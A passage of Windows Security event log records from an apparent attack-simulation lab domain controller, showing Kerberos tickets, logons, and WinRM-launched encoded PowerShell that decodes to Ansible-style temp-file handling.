Creation -OpCode=Info -RecordNumber=251843 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x11f0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12c4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand YgBlAGcAaQBuACAAewAKACQAcABhAHQAaAAgAD0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA3ADcALgA2ADAANAA0ADcANAA4AC0AMgAzADYANAA0ADEAMAAyADAAOQAyADYAMwAwAFwAcwBvAHUAcgBjAGUAJwAKACQARABlAGIAdQBnAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBDAG8AbgB0AGkAbgB1AGUAIgAKACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA9ACAAIgBTAHQAbwBwACIACgBTAGUAdAAtAFMAdAByAGkAYwB0AE0AbwBkAGUAIAAtAFYAZQByAHMAaQBvAG4AIAAyAAoAJABmAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHAAYQB0AGgAKQAKACQAcwBoAGEAMQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQAxAEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACQAYgB5AHQAZQBzACAAPQAgAEAAKAApACAAIwBpAG4AaQB0AGkAYQBsAGkAegBlACAAZgBvAHIAIABlAG0AcAB0AHkAIABmAGkAbABlACAAYwBhAHMAZQAKAH0ACgBwAHIAbwBjAGUAcwBzACAAewAKACQAYgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAGkAbgBwAHUAdAApAAoAJABzAGgAYQAxAC4AVAByAGEAbgBzAGYAbwByAG0AQgBsAG8AYwBrACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgALAAgACQAYgB5AHQAZQBzACwAIAAwACkAIAB8ACAATwB1AHQALQBOAHUAbABsAAoAJABmAGQALgBXAHIAaQB0AGUAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApAAoAfQAKAGUAbgBkACAAewAKACQAcwBoAGEAMQAuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAMAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKACQAaABhAHMAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAFMAdAByAGkAbgBnACgAJABzAGgAYQAxAC4ASABhAHMAaAApAC4AUgBlAHAAbABhAGMAZQAoACIALQAiACwAIAAiACIAKQAuAFQAbwBMAG8AdwBlAHIASQBuAHYAYQByAGkAYQBuAHQAKAApAAoAJABmAGQALgBDAGwAbwBzAGUAKAApAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAiAHsAIgAiAHMAaABhADEAIgAiADoAIgAiACQAaABhAHMAaAAiACIAfQAiAAoAfQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251842 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x145C74 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251841 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x145C74 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251840 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251839 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251838 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251837 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x145C58 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251836 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x145C58 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251835 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x145C58 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251834 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251833 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251832 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251831 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x144503 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251830 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf4c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1138 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAHQAbQBwAF8AcABhAHQAaAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARQBuAHYAaQByAG8AbgBtAGUAbgB0AF0AOgA6AEUAeABwAGEAbgBkAEUAbgB2AGkAcgBvAG4AbQBlAG4AdABWAGEAcgBpAGEAYgBsAGUAcwAoACcAJQBUAEUATQBQACUAJwApAAoAJAB0AG0AcAAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0AUABhAHQAaAAgACQAdABtAHAAXwBwAGEAdABoACAALQBOAGEAbQBlACAAJwBhAG4AcwBpAGIAbABlAC0AdABtAHAALQAxADYAMQA0ADYAMAAyADUANwA3AC4ANgAwADQANAA3ADQAOAAtADIAMwA2ADQANAAxADAAMgAwADkAMgA2ADMAMAAnAAoAVwByAGkAdABlAC0ATwB1AHQAcAB1AHQAIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdABtAHAALgBGAHUAbABsAE4AYQBtAGUACgBJAGYAIAAoAC0AbgBvAHQAIAAkAD8AKQAgAHsAIABJAGYAIAAoAEcAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIABlAHgAaQB0ACAAJABMAEEAUwBUAEUAWABJAFQAQwBPAEQARQAgAH0AIABFAGwAcwBlACAAewAgAGUAeABpAHQAIAAxACAAfQAgAH0A - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251829 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x144503 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251828 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x144503 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251827 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251826 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {96D2DD71-32E1-E85A-5916-E048AB39A344} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251825 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:52 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251824 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1138 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x133c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAHcAQQAzAEEAQwA0AEEATgBnAEEAdwBBAEQAUQBBAE4AQQBBADMAQQBEAFEAQQBPAEEAQQB0AEEARABJAEEATQB3AEEAMgBBAEQAUQBBAE4AQQBBAHgAQQBEAEEAQQBNAGcAQQB3AEEARABrAEEATQBnAEEAMgBBAEQATQBBAE0AQQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEA